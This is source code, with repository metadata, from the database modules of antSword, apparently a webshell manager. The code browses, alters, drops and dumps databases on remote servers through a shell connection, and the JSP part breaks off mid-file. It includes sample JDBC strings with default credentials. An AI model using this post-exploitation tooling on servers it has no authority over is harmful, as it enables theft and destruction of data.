err)=>{ if(err){ toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']); return; } let data = res['text']; let arr = data.split('\n'); if (arr.length < 2) { return toastr.error(LANG['result']['error']['parse'], LANG_T['error']); }; if(arr[1].indexOf("VHJ1ZQ==")!= -1){ // toastr.success(LANG['form']['adddb']['success'] ,LANG_T['success']); win.close(); // refresh this.getDatabases(id); return } toastr.error(LANG['form']['adddb']['error'], LANG_T['error']); return }); // break case "cancelbtn": win.close(); break; } }); break; default: toastr.warning(LANG['notsupport'], LANG_T['warning']); break; } } editDatabase() { // const id = this.tree.getSelected().split('::')[1].split(":")[0]; let dbname = Buffer.from(this.tree.getSelected().split('::')[1].split(":")[1],"base64").toString(); const hash = (+new Date * Math.random()).toString(16).substr(2, 8); switch(this.dbconf['type']){ case "mysqli": case "mysql": let sql = `SELECT SCHEMA_NAME,DEFAULT_CHARACTER_SET_NAME,DEFAULT_COLLATION_NAME FROM \`information_schema\`.\`SCHEMATA\` where \`SCHEMA_NAME\`="${dbname}";` this.execSQLAsync(sql, (res, err)=>{ if(err){ toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']); return; } let result = this.parseResult(res['text']); dbname = result.datas[0][0] let characterset = result.datas[0][1] || "default" let collation = result.datas[0][2] || "default" // const win = this.manager.win.createWindow(hash, 0, 0, 450, 200); win.setText(LANG['form']['editdb']['title']); win.centerOnScreen(); win.button('minmax').hide(); win.setModal(true); win.denyResize(); // form const form = win.attachForm([ { type: 'settings', position: 'label-left', labelWidth: 90, inputWidth: 250 }, { type: 'block', inputWidth: 'auto', offsetTop: 12, list: [ { type: 'input', label: LANG['form']['editdb']['dbname'], name: 'dbname', readonly: true, value: dbname, required: true, validate:"ValidAplhaNumeric",}, { type: 'combo', label: LANG['form']['editdb']['characterset'], readonly:true, name: 'characterset', options: (() => { let ret = []; Object.keys(this.mysqlcsMapping).map((_) => { ret.push({ text: _, value: _, }); }) return ret; })() }, { type: 'combo', label: LANG['form']['editdb']['charactercollation'], readonly:true, name: 'charactercollation', options: ((c)=>{ let ret = []; this.mysqlcsMapping[c].map((_)=>{ ret.push({ text: _, value: _, }); }); return ret; })("default")}, { type: "block", name:"btnblock", className:"display: flex;flex-direction: row;align-items: right;",offsetLeft:150, list:[ { type:"button" , name:"updatebtn", value: `<i class="fa fa-pen"></i> ${LANG['form']['editdb']['updatebtn']}`}, {type: 'newcolumn', offset:20}, { type:"button" , name:"cancelbtn", value: `<i class="fa fa-ban"></i> ${LANG['form']['editdb']['cancelbtn']}`}, ]} ]} ], true); form.enableLiveValidation(true); // combo form.attachEvent("onChange",(_, id)=>{ if (_ == "characterset") { let collcombo = form.getCombo("charactercollation"); collcombo.clearAll(); collcombo.setComboValue(null); let ret = []; this.mysqlcsMapping[id].map((_)=>{ ret.push({ text: _, value: _, }); }); collcombo.addOption(ret); collcombo.selectOption(0); } }); let cscombo = form.getCombo("characterset"); cscombo.selectOption(Object.keys(this.mysqlcsMapping).indexOf(characterset)); let collcombo = form.getCombo("charactercollation"); collcombo.selectOption(this.mysqlcsMapping[characterset].indexOf(collation)); form.attachEvent("onButtonClick", (btnid)=>{ switch(btnid){ case "updatebtn": if(form.validate()==false){break;} let formvals = form.getValues(); let charset = formvals['characterset']=='default'? "": `DEFAULT CHARSET ${formvals['characterset']} COLLATE ${formvals['charactercollation']}`; let sql = `ALTER DATABASE ${dbname} ${charset};` this.execSQLAsync(sql, (res, err)=>{ if(err){ toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']); return; } let data = res['text']; let arr = data.split('\n'); if (arr.length < 2) { return toastr.error(LANG['result']['error']['parse'], LANG_T['error']); }; if(arr[1].indexOf("VHJ1ZQ==")!= -1){ // toastr.success(LANG['form']['editdb']['success'] ,LANG_T['success']); win.close(); // refresh this.getDatabases(id); return } toastr.error(LANG['form']['editdb']['error'], LANG_T['error']); return }); // break case "cancelbtn": win.close(); break; } }); }); break; default: toastr.warning(LANG['notsupport'], LANG_T['warning']); break; } } delDatabase() { // const id = this.tree.getSelected().split('::')[1].split(":")[0]; let dbname = Buffer.from(this.tree.getSelected().split('::')[1].split(":")[1],"base64").toString(); layer.confirm(LANG['form']['deldb']['confirm'](dbname), { icon: 2, shift: 6, title: LANG['form']['deldb']['title'] }, (_) => { layer.close(_); switch(this.dbconf['type']){ case "mysqli": case "mysql": let sql = `drop database ${dbname};` this.execSQLAsync(sql, (res, err) => { if(err){ toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']); return; } let result = this.parseResult(res['text']); if(result.datas[0][0]=='True'){ toastr.success(LANG['form']['deldb']['success'], LANG_T['success']); this.getDatabases(id); }else{ toastr.error(LANG['form']['deldb']['error'], LANG_T['error']); } }); break; default: toastr.warning(LANG['notsupport'], LANG_T['warning']); break; } }); } // addTable() { // const id = this.tree.getSelected().split('::')[1].split(":")[0]; let dbname = Buffer.from(this.tree.getSelected().split('::')[1].split(":")[1],"base64").toString(); const hash = (+new Date * Math.random()).toString(16).substr(2, 8); switch(this.dbconf['type']){ case "mysqli": case "mysql": // let sql = `CREATE TABLE IF NOT EXISTS \`table_name\` ( // \`id\` INT UNSIGNED AUTO_INCREMENT, // \`title\` VARCHAR(100) NOT NULL, // PRIMARY KEY ( \`id\` ) // );`; // this.manager.query.editor.session.setValue(sql); const win = this.manager.win.createWindow(hash, 0, 0, 600, 400); win.setText(LANG['form']['addtable']['title']); win.centerOnScreen(); win.button('minmax').hide(); win.setModal(true); win.denyResize(); const toolbar = win.attachToolbar(); toolbar.loadStruct([{ id: 'add', type: 'button', icon: 'plus-circle', text: LANG['form']['addtable']['add'], }, { type: 'separator' }, { id: 'delete', type: 'button', icon: 'remove', text: LANG['form']['addtable']['delete'] },{ id: 'save', type: 'button', icon: 'save', text: LANG['form']['addtable']['save'] }]); dhtmlxValidation.hasOwnProperty("isValidPositiveInteger") ? "" : dhtmlxValidation.isValidPositiveInteger = (a) => { return !!a.toString().match(/(^\d+$)/);} const grid=win.attachGrid(); grid.clearAll(); // Name,Type,Length,Not Null,Key,Auto Increment grid.setHeader(LANG['form']['addtable']['gridheader']); grid.setInitWidths('*,100,80,80,50,130'); grid.setColTypes("ed,co,edn,acheck,acheck,acheck"); grid.setColValidators(["ValidAplhaNumeric","NotEmpty","ValidPositiveInteger","ValidBoolean","ValidBoolean","ValidBoolean"]); grid.setEditable(true); const combobox = grid.getCombo(1); this.mysqlcolumntypes.forEach(v => { combobox.put(v, v); }); grid.enableEditEvents(false,true,true); grid.enableEditTabOnly(true); grid.init(); grid.clearAll(); grid.attachEvent("onCheck", (rId,cInd,state) => { if(state == true){ switch(cInd){ case 4: let c3 = grid.cells(rId, 3); c3.setChecked(true); break; } } }); // grid.attachEvent("onValidationError", (rid,index,value,rule)=>{ // // toolbar.disableItem('save'); // let idx = grid.getRowIndex(rid); // // grid.editStop(); // grid.selectCell(idx, index); // grid.editCell(); // return true; // }); toolbar.attachEvent('onClick',(tbid)=>{ switch(tbid){ case "add": let ncid = (+new Date * Math.random()).toString(16).substr(2, 8); grid.addRow(ncid, ",,0,0,0,0"); let idx = grid.getRowIndex(ncid); grid.selectCell(idx, 0); grid.editCell(); break; case "delete": var ncids = grid.getSelectedId(); if(!ncids){ toastr.warning(LANG['form']['addtable']['delete_not_select'], LANG_T['warning']); return } let _ncids = ncids.split(","); _ncids.map(_=>{ grid.deleteRow(_); }); break; case "save": let rids = grid.getAllRowIds(); if(!rids){ toastr.warning(LANG['form']['addtable']['save_row_is_null'], LANG_T['warning']); return } let _rids = rids.split(","); let bdstr = ""; let pkstr = ""; for(var i=0; i< _rids.length;i++){ let cvalarr = []; for(var j=0; j<6;j++){ if(grid.validateCell(_rids[i], j) == false){ toastr.error(LANG['form']['addtable']['cell_valid_error'](i,j), LANG_T['error']); grid.selectCell(_rids[i], j); grid.editCell(); return } var c = grid.cells(_rids[i], j); cvalarr[j] = c.getValue(); } let lenstr = ""; let auto_inc_str = ""; switch(cvalarr[1]){ case "varchar": case "varbinary": if(cvalarr[2] == "0"){ lenstr = `(255)`; }else{ lenstr = `(${cvalarr[2]})`; } break; case "int": case "integer": if(cvalarr[5] == "1"){ auto_inc_str = "AUTO_INCREMENT"; } break; default: break; } let notnull = cvalarr[4] == "1" ? `NOT NULL` : (cvalarr[3] == "0" ? "": `NOT NULL`); pkstr += cvalarr[4] == "0"? "": `\`${cvalarr[0]}\`,`; bdstr += `\t\`${cvalarr[0]}\` ${cvalarr[1]}${lenstr} ${notnull} ${auto_inc_str},\n`; } layer.prompt({ value: "", title: `<i class="fa fa-file-code-o"></i> ${LANG['form']['addtable']['confirmtitle']}` },(value, i, e) => { if(!value.match(/^[a-zA-Z0-9_]+$/)){ toastr.error(LANG['form']['addtable']['invalid_tablename'], LANG_T['error']); return } layer.close(i); let pkres = pkstr.length > 0 ? `\tPRIMARY KEY ( ${pkstr.substr(0, pkstr.length-1)} )` : ""; if(pkres.length == 0) { bdstr = bdstr.slice(0, bdstr.lastIndexOf(",")); } let rsql = `CREATE TABLE IF NOT EXISTS \`${value}\` (\n${bdstr}\n${pkres}\n);`; this.manager.query.editor.session.setValue(rsql); this.execSQLAsync(rsql, (res, err) => { if(err){ toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']); return; } let result = this.parseResult(res['text']); if(result.datas[0][0]=='True'){ toastr.success(LANG['form']['addtable']['success'],LANG_T['success']); this.getTables(id,dbname); win.close(); }else{ toastr.error(LANG['form']['addtable']['error'], LANG_T['error']); } }); }); break; } }); break; default: toastr.warning(LANG['notsupport'], LANG_T['warning']); break; } } // editTable() { // const treeselect = this.tree.getSelected(); const id = treeselect.split('::')[1].split(":")[0]; let dbname = Buffer.from(treeselect.split('::')[1].split(":")[1],"base64").toString(); let tablename = Buffer.from(treeselect.split('::')[1].split(":")[2],"base64").toString(); // const hash = (+new Date * Math.random()).toString(16).substr(2, 8); layer.prompt({ value: antSword.noxss(tablename), title: `<i class="fa fa-file-code-o"></i> ${LANG['form']['edittable']['title']}` },(value, i, e) => { if(!value.match(/^[a-zA-Z0-9_]+$/)){ toastr.error(LANG['form']['edittable']['invalid_tablename'], LANG_T['error']); return } layer.close(i); switch(this.dbconf['type']){ case "mysqli": case "mysql": let sql = `RENAME TABLE \`${dbname}\`.\`${tablename}\` TO \`${dbname}\`.\`${value}\`;`; this.execSQLAsync(sql, (res, err) => { if(err){ toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']); return; } let result = this.parseResult(res['text']); if(result.datas[0][0]=='True'){ toastr.success(LANG['form']['edittable']['success'],LANG_T['success']); this.getTables(id,dbname); }else{ toastr.error(LANG['form']['edittable']['error'],LANG_T['error']); } }); break; default: toastr.warning(LANG['notsupport'], LANG_T['warning']); break; } }); } delTable() { // const treeselect = this.tree.getSelected(); const id = treeselect.split('::')[1].split(":")[0]; let dbname = Buffer.from(treeselect.split('::')[1].split(":")[1],"base64").toString(); let tablename = Buffer.from(treeselect.split('::')[1].split(":")[2],"base64").toString(); // lang layer.confirm(LANG['form']['deltable']['confirm'](tablename), { icon: 2, shift: 6, title: LANG['form']['deltable']['title'] }, (_) => { layer.close(_); switch(this.dbconf['type']){ case "mysqli": case "mysql": let sql = `DROP TABLE \`${dbname}\`.\`${tablename}\`;`; this.execSQLAsync(sql, (res, err) => { if(err){ toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']); return; } let result = this.parseResult(res['text']); if(result.datas[0][0]=='True'){ toastr.success(LANG['form']['deltable']['success'],LANG_T['success']); this.getTables(id,dbname); }else{ toastr.error(LANG['form']['deltable']['error'],LANG_T['error']); } }); break; default: toastr.warning(LANG['notsupport'], LANG_T['warning']); break; } }); } // descTable() { const treeselect = this.tree.getSelected(); const id = treeselect.split('::')[1].split(":")[0]; let dbname = Buffer.from(treeselect.split('::')[1].split(":")[1],"base64").toString(); let tablename = Buffer.from(treeselect.split('::')[1].split(":")[2],"base64").toString(); switch(this.dbconf['type']){ case "mysqli": case "mysql": let sql = `DESC \`${dbname}\`.\`${tablename}\`;`; this.manager.query.editor.session.setValue(sql); this.execSQL(sql); break; default: toastr.warning(LANG['notsupport'], LANG_T['warning']); break; } } showcreateTable() { const treeselect = this.tree.getSelected(); const id = treeselect.split('::')[1].split(":")[0]; let dbname = Buffer.from(treeselect.split('::')[1].split(":")[1],"base64").toString(); let tablename = Buffer.from(treeselect.split('::')[1].split(":")[2],"base64").toString(); switch(this.dbconf['type']){ case "mysqli": case "mysql": let sql = `SHOW CREATE TABLE \`${dbname}\`.\`${tablename}\`;`; this.manager.query.editor.session.setValue(sql); this.execSQL(sql); break; default: toastr.warning(LANG['notsupport'], LANG_T['warning']); break; } } // TODO: addColumn() { // const treeselect = this.tree.getSelected(); const id = treeselect.split('::')[1].split(":")[0]; let dbname = Buffer.from(treeselect.split('::')[1].split(":")[1],"base64").toString(); let tablename = Buffer.from(treeselect.split('::')[1].split(":")[2],"base64").toString(); let columnname = Buffer.from(treeselect.split('::')[1].split(":")[3],"base64").toString(); } // TODO: editColumn() { // const treeselect = this.tree.getSelected(); const id = treeselect.split('::')[1].split(":")[0]; let dbname = Buffer.from(treeselect.split('::')[1].split(":")[1],"base64").toString(); let tablename = Buffer.from(treeselect.split('::')[1].split(":")[2],"base64").toString(); let columnname = Buffer.from(treeselect.split('::')[1].split(":")[3],"base64").toString(); let columntyperaw = antSword.unxss(this.tree.getSelectedItemText()); let columntype = null; var ctypereg = new RegExp(columnname+'\\s\\((.+?\\))\\)'); var res = columntyperaw.match(ctypereg); if (res.length == 2) { columntype = res[1]; } if (columntype == null) { toastr.error(LANG['form']['editcolumn']['get_column_type_error'], LANG_T['error']); return } layer.prompt({ value: antSword.noxss(columnname), title: `<i class="fa fa-file-code-o"></i> ${LANG['form']['editcolumn']['title']}` },(value, i, e) => { if(!value.match(/^[a-zA-Z0-9_]+$/)){ toastr.error(LANG['form']['editcolumn']['invalid_tablename'], LANG_T['error']); return } layer.close(i); switch(this.dbconf['type']){ case "mysqli": case "mysql": let sql = `ALTER TABLE \`${dbname}\`.\`${tablename}\` CHANGE COLUMN \`${columnname}\` \`${value}\` ${columntype};`; this.manager.query.editor.session.setValue(sql); this.execSQLAsync(sql, (res, err) => { if(err){ toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']); return; } let result = this.parseResult(res['text']); if(result.datas[0][0]=='True'){ toastr.success(LANG['form']['editcolumn']['success'],LANG_T['success']); this.getColumns(id,dbname,tablename); }else{ toastr.error(LANG['form']['editcolumn']['error'],LANG_T['error']); } }); break; default: toastr.warning(LANG['notsupport'], LANG_T['warning']); break; } }); } delColumn() { // const treeselect = this.tree.getSelected(); const id = treeselect.split('::')[1].split(":")[0]; let dbname = Buffer.from(treeselect.split('::')[1].split(":")[1],"base64").toString(); let tablename = Buffer.from(treeselect.split('::')[1].split(":")[2],"base64").toString(); let columnname = Buffer.from(treeselect.split('::')[1].split(":")[3],"base64").toString(); // lang layer.confirm(LANG['form']['delcolumn']['confirm'](columnname), { icon: 2, shift: 6, title: LANG['form']['delcolumn']['title'] }, (_) => { layer.close(_); switch(this.dbconf['type']){ case "mysqli": case "mysql": let sql = `ALTER TABLE \`${dbname}\`.\`${tablename}\` DROP ${columnname};`; this.execSQLAsync(sql, (res, err) => { if(err){ toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']); return; } let result = this.parseResult(res['text']); if(result.datas[0][0]=='True'){ toastr.success(LANG['form']['delcolumn']['success'],LANG_T['success']); this.getColumns(id,dbname, tablename); }else{ toastr.error(LANG['form']['delcolumn']['error'],LANG_T['error']); } }); break; default: toastr.warning(LANG['notsupport'], LANG_T['warning']); break; } }); } // getDatabases(id) { this.manager.list.layout.progressOn(); // const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', { _id: this.manager.opt['_id'], id: id }); this.core.request( this.core[`database_${conf['type']}`].show_databases({ host: conf['host'], user: conf['user'], passwd: conf['passwd'] }) ).then((res) => { let ret = res['text']; if(ret.indexOf("ERROR://") > -1) { throw ret; } const arr = ret.split('\t'); if (arr.length === 1 && ret === '') { toastr.warning(LANG['result']['warning'], LANG_T['warning']); return this.manager.list.layout.progressOff(); }; // this.tree.deleteChildItems(`conn::${id}`); // arr.map((_) => { if (!_) { return }; const _db = Buffer.from(antSword.unxss(_, false)).toString('base64'); this.tree.insertNewItem( `conn::${id}`, `database::${id}:${_db}`, _, null, this.manager.list.imgs[1], this.manager.list.imgs[1], this.manager.list.imgs[1]); }); this.manager.list.layout.progressOff(); }).catch((err) => { toastr.error(LANG['result']['error']['database'](err['status'] || JSON.stringify(err)), LANG_T['error']); this.manager.list.layout.progressOff(); }); } // getTables(id, db) { this.manager.list.layout.progressOn(); // const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', { _id: this.manager.opt['_id'], id: id }); this.core.request( this.core[`database_${conf['type']}`].show_tables({ host: conf['host'], user: conf['user'], passwd: conf['passwd'], db: db }) ).then((res) => { let ret = res['text']; if(ret.indexOf("ERROR://") > -1) { throw ret; } const arr = ret.split('\t'); const _db = Buffer.from(db).toString('base64'); // this.tree.deleteChildItems(`database::${id}:${_db}`); // arr.map((_) => { if (!_) { return }; const _table = Buffer.from(antSword.unxss(_, false)).toString('base64'); this.tree.insertNewItem( `database::${id}:${_db}`, `table::${id}:${_db}:${_table}`, _, null, this.manager.list.imgs[2], this.manager.list.imgs[2], this.manager.list.imgs[2] ); }); this.manager.list.layout.progressOff(); }).catch((err) => { toastr.error(LANG['result']['error']['table'](err['status'] || JSON.stringify(err)), LANG_T['error']); this.manager.list.layout.progressOff(); }); } // getColumns(id, db, table) { this.manager.list.layout.progressOn(); // const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', { _id: this.manager.opt['_id'], id: id }); this.core.request( this.core[`database_${conf['type']}`].show_columns({ host: conf['host'], user: conf['user'], passwd: conf['passwd'], db: db, table: table }) ).then((res) => { let ret = res['text']; if(ret.indexOf("ERROR://") > -1) { throw ret; } const arr = ret.split('\t'); const _db = Buffer.from(db).toString('base64'); const _table = Buffer.from(table).toString('base64'); // this.tree.deleteChildItems(`table::${id}:${_db}:${_table}`); // arr.map((_) => { if (!_) { return }; _ = antSword.unxss(_, false); const _column = Buffer.from(_.substr(0, _.lastIndexOf(' '))).toString('base64'); this.tree.insertNewItem( `table::${id}:${_db}:${_table}`, `column::${id}:${_db}:${_table}:${_column}`, antSword.noxss(_), null, this.manager.list.imgs[3], this.manager.list.imgs[3], this.manager.list.imgs[3] ); }); // SQL let presql = ""; switch(this.dbconf['type']){ case 'mssql': case 'sqlsrv': presql = `SELECT TOP 20 * from [${table}] ORDER BY 1 DESC;`; break; case 'oracle': case 'oracle_oci8': presql = `SELECT * FROM ${db}.${table} WHERE ROWNUM < 20 ORDER BY 1`; break; case 'postgresql': case 'postgresql_pdo': presql = `SELECT * FROM ${table} ORDER BY 1 DESC LIMIT 20 OFFSET 0;`; break; case 'sqlite3': case 'sqlite_pdo': presql = `SELECT * FROM "${db}"."${table}" ORDER BY 1 DESC limit 0,20;`; break; default: presql = `SELECT * FROM \`${table}\` ORDER BY 1 DESC LIMIT 0,20;`; break; } this.manager.query.editor.session.setValue(presql); this.manager.list.layout.progressOff(); }).catch((err) => { toastr.error(LANG['result']['error']['column'](err['status'] || JSON.stringify(err)), LANG_T['error']); this.manager.list.layout.progressOff(); }); } // SQL execSQLAsync(sql, callback) { this.core.request( this.core[`database_${this.dbconf['type']}`].query({ host: this.dbconf['host'], user: this.dbconf['user'], passwd: this.dbconf['passwd'], db: this.dbconf['database'], sql: sql, encode: this.dbconf['encode'] || 'utf8' }) ).then((res) => { callback(res, null); }).catch((err) => { callback(null, err); }); } // SQL execSQL(sql) { this.manager.query.layout.progressOn(); this.core.request( this.core[`database_${this.dbconf['type']}`].query({ host: this.dbconf['host'], user: this.dbconf['user'], passwd: this.dbconf['passwd'], db: this.dbconf['database'], sql: sql, encode: this.dbconf['encode'] || 'utf8' }) ).then((res) => { let ret = res['text']; if (ret.indexOf("ERROR://") > -1) { throw ret; } // this.updateResult(ret); this.manager.query.layout.progressOff(); }).catch((err) => { toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']); this.manager.query.layout.progressOff(); }); } parseResult(data) { // 1. const arr = data.split('\n'); // 2. if (arr.length < 2) { return toastr.error(LANG['result']['error']['parse'], LANG_T['error']); }; // 3. let header_arr = (arr[0]).replace(/,/g, '&#44;').split('\t|\t'); if (header_arr.length === 1) { return toastr.warning(LANG['result']['error']['noresult'], LANG_T['warning']); }; if (header_arr[header_arr.length - 1] === '\r') { header_arr.pop(); }; arr.shift(); // 4. let data_arr = []; arr.map((_) => { let _data = _.split('\t|\t'); for (let i = 0; i < _data.length; i ++) { let buff = Buffer.from(_data[i], "base64"); let encoding = Decodes.detectEncoding(buff, {defaultEncoding: "unknown"}); if(encoding == "unknown") { switch(this.dbconf['type']){ case 'sqlsrv': var sqlsrv_conncs_mapping = { 'utf-8': 'utf8', 'char': '', } encoding = sqlsrv_conncs_mapping[this.dbconf['encode']] || ''; break; case 'oracle_oci8': var oci8_characterset_mapping = { 'UTF8': 'utf8', 'ZHS16GBK':'gbk', 'ZHT16BIG5': 'big5', 'ZHS16GBKFIXED': 'gbk', 'ZHT16BIG5FIXED': 'big5', } encoding = oci8_characterset_mapping[this.dbconf['encode']] || ''; break; default: encoding = this.dbconf['encode'] || ''; break; } } encoding = encoding != "" ? encoding : this.opt.core.__opts__['encode']; let text = Decodes.decode(buff, encoding); _data[i] = antSword.noxss(text); } data_arr.push(_data); }); data_arr.pop(); return { headers: header_arr, datas: data_arr } } // SQL updateResult(data) { // 1. const arr = data.split('\n'); // 2. if (arr.length < 2) { return toastr.error(LANG['result']['error']['parse'], LANG_T['error']); }; // 3. let header_arr = (arr[0]).replace(/,/g, '&#44;').split('\t|\t'); if (header_arr.length === 1) { return toastr.warning(LANG['result']['error']['noresult'], LANG_T['warning']); }; if (header_arr[header_arr.length - 1] === '\r') { header_arr.pop(); }; arr.shift(); // 4. let data_arr = []; arr.map((_) => { let _data = _.split('\t|\t'); for (let i = 0; i < _data.length; i ++) { // _data[i] = antSword.noxss(new Buffer(_data[i], "base64").toString(), false); let buff = new Buffer.from(_data[i], "base64"); let encoding = Decodes.detectEncoding(buff, {defaultEncoding: "unknown"}); if(encoding == "unknown") { switch(this.dbconf['type']){ case 'sqlsrv': var sqlsrv_conncs_mapping = { 'utf-8': 'utf8', 'char': '', } encoding = sqlsrv_conncs_mapping[this.dbconf['encode']] || ''; break; case 'oracle_oci8': var oci8_characterset_mapping = { 'UTF8': 'utf8', 'ZHS16GBK':'gbk', 'ZHT16BIG5': 'big5', 'ZHS16GBKFIXED': 'gbk', 'ZHT16BIG5FIXED': 'big5', } encoding = oci8_characterset_mapping[this.dbconf['encode']] || ''; break; default: encoding = this.dbconf['encode'] || ''; break; } } encoding = encoding != "" ? encoding : this.opt.core.__opts__['encode']; let text = Decodes.decode(buff, encoding); _data[i] = antSword.noxss(text, false); } data_arr.push(_data); }); data_arr.pop(); // 5. const grid = this.manager.result.layout.attachGrid(); grid.clearAll(); grid.setHeader(header_arr.join(',').replace(/,$/, '')); grid.setColTypes("txt,".repeat(header_arr.length).replace(/,$/,'')); grid.setColSorting(('str,'.repeat(header_arr.length)).replace(/,$/, '')); grid.setColumnMinWidth(100, header_arr.length-1); grid.setInitWidths(("100,".repeat(header_arr.length-1)) + "*"); grid.setEditable(true); grid.init(); // let grid_data = []; for (let i = 0; i < data_arr.length; i ++) { grid_data.push({ id: i + 1, data: data_arr[i] }); } grid.parse({ 'rows': grid_data }, 'json'); // this.manager.result.toolbar[grid_data.length > 0 ? 'enableItem' : 'disableItem']('dump'); } // dumpResult() { const grid = this.manager.result.layout.getAttachedObject(); let filename = `${this.core.__opts__.ip}_${new Date().format("yyyyMMddhhmmss")}.csv`; dialog.showSaveDialog({ title: LANG['result']['dump']['title'], defaultPath: filename },(filePath) => { if (!filePath) { return; }; let headerStr = grid.hdrLabels.join(','); let dataStr = grid.serializeToCSV(); let tempDataBuffer = Buffer.from(headerStr+'\n'+dataStr); fs.writeFileSync(filePath, tempDataBuffer); toastr.success(LANG['result']['dump']['success'], LANG_T['success']); }); } // toolbar disableToolbar() { this.manager.list.toolbar.disableItem('del'); this.manager.list.toolbar.disableItem('edit'); this.manager.result.toolbar.disableItem('dump'); } // toolbar enableToolbar() { this.manager.list.toolbar.enableItem('del'); this.manager.list.toolbar.enableItem('edit'); } // SQL disableEditor() { ['exec', 'clear'].map( this.manager.query.toolbar.disableItem.bind(this.manager.query.toolbar) ); this.manager.query.editor.setReadOnly(true); } // SQL enableEditor() { ['exec', 'clear'].map( this.manager.query.toolbar.enableItem.bind(this.manager.query.toolbar) ); this.manager.query.editor.setReadOnly(false); } } module.exports = PHP; ```
/content/code_sandbox/source/modules/database/php/index.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
15,638
```javascript // // ::JSP : Any // const LANG = antSword['language']['database']; const LANG_T = antSword['language']['toastr']; const dialog = antSword.remote.dialog; const fs = require('fs'); const Decodes = antSword.Decodes; class JSP { constructor(opt) { this.opt = opt; this.core = this.opt.core; this.manager = this.opt.super; // // * // this.conns = { 'mysql': 'com.mysql.jdbc.Driver\r\njdbc:mysql://localhost:3306/information_schame?user=root&password=123456', 'sqlserver': 'com.microsoft.sqlserver.jdbc.SQLServerDriver\r\njdbc:sqlserver://127.0.0.1:1433;' + 'databaseName=master;user=sa;password=123456', 'oracle': 'oracle.jdbc.driver.OracleDriver\r\njdbc:oracle:thin:@127.0.0.1:1521/test\r\nuser' + '\r\npassword' }; // 1. TREE UI this.tree = this .manager .list .layout .attachTree(); // 2. this.parse(); // 3. tree::&& this .tree .attachEvent('onClick', (id) => { // id.startsWith('conn::') ? this.enableToolbar() : this.disableToolbar(); // const tmp = id.split('::'); const arr = tmp[1].split(':'); // this.dbconf = antSword['ipcRenderer'].sendSync('shell-getDataConf', { _id: this.manager.opt['_id'], id: arr[0] }); if (arr.length > 1) { this.dbconf['database'] = Buffer.from(arr[1], 'base64').toString(); // SQL this.enableEditor(); // manager.query.update(this.currentConf); } else { this.disableEditor(); } }); // 4. tree::// this .tree .attachEvent('onDblClick', (id) => { const arr = id.split('::'); if (arr.length < 2) { throw new Error('ID ERR: ' + id) }; switch (arr[0]) { // case 'conn': this.getDatabases(arr[1]); break; // case 'database': let _db = arr[1].split(':'); this.getTables(_db[0], Buffer.from(_db[1], 'base64').toString()); break; // case 'table': let _tb = arr[1].split(':'); this.getColumns(_tb[0], Buffer.from(_tb[1], 'base64').toString(), Buffer.from(_tb[2], 'base64').toString()); break; // SQL case 'column': let _co = arr[1].split(':'); const db = Buffer.from(_co[1], 'base64').toString(); const table = Buffer.from(_co[2], 'base64').toString(); const column = Buffer.from(_co[3], 'base64').toString(); let sql = ""; switch (this.dbconf['type']) { case 'mysql': sql = `SELECT \`${column}\` FROM \`${db}\`.\`${table}\` ORDER BY 1 DESC LIMIT 0,20;`; break; case 'sqlserver': case 'mssql': case 'sqlsrv': sql = `SELECT TOP 20 [${column}] FROM [${table}] ORDER BY 1 DESC;`; break; case 'oracle': case 'oracle_oci8': sql = `SELECT ${column} FROM ${db}.${table} WHERE ROWNUM < 20 ORDER BY 1`; break; case 'postgresql': case 'postgresql_pdo': sql = `SELECT ${column} FROM ${table} ORDER BY 1 DESC LIMIT 20 OFFSET 0;`; break; default: sql = `SELECT \`${column}\` FROM \`${db}\`.\`${table}\` ORDER BY 1 DESC LIMIT 0,20;`; break; } this .manager .query .editor .session .setValue(sql); break; } }); // 5. tree:: this .tree .attachEvent('onRightClick', (id, event) => { if (!id.startsWith('conn::')) { return }; this .tree .selectItem(id); this .tree .callEvent('onClick', [id]); bmenu([{ text: LANG['list']['menu']['add'], icon: 'fa fa-plus-circle', action: this .addConf .bind(this) }, { divider: true }, { text: LANG['list']['menu']['edit'], icon: 'fa fa-edit', action: this .editConf .bind(this) }, { divider: true }, { text: LANG['list']['menu']['del'], icon: 'fa fa-remove', action: this .delConf .bind(this) }], event); }); } // parse() { // const info = antSword['ipcRenderer'].sendSync('shell-findOne', this.manager.opt['_id']); const conf = info['database'] || {}; // UI 1. this .tree .deleteChildItems(0); // 2. let items = []; for (let _ in conf) { items.push({ id: `conn::${_}`, // text: `${conf[_]['type']}:\/\/${conf[_]['user']}@${conf[_]['host']}`, text: antSword.noxss(conf[_]['type'].toUpperCase()), im0: this.manager.list.imgs[0], im1: this.manager.list.imgs[0], im2: this.manager.list.imgs[0] }); } // 3.UI this .tree .parse({ id: 0, item: items }, 'json'); // this.disableToolbar(); this.disableEditor(); } // addConf() { const hash = (+new Date * Math.random()) .toString(16) .substr(2, 8); // const win = this .manager .win .createWindow(hash, 0, 0, 450, 300); win.setText(LANG['form']['title']); win.centerOnScreen(); win .button('minmax') .hide(); win.setModal(true); win.denyResize(); // const toolbar = win.attachToolbar(); toolbar.loadStruct([{ id: 'add', type: 'button', icon: 'plus-circle', text: LANG['form']['toolbar']['add'] }, { type: 'separator' }, { id: 'clear', type: 'button', icon: 'remove', text: LANG['form']['toolbar']['clear'] }, { type: 'separator' }, { id: 'test', type: 'button', icon: 'spinner', text: LANG['form']['toolbar']['test'] }]); // form const form = win.attachForm([{ type: 'settings', position: 'label-left', labelWidth: 80, inputWidth: 280 }, { type: 'block', inputWidth: 'auto', offsetTop: 12, list: [{ type: 'combo', label: LANG['form']['type'], readonly: 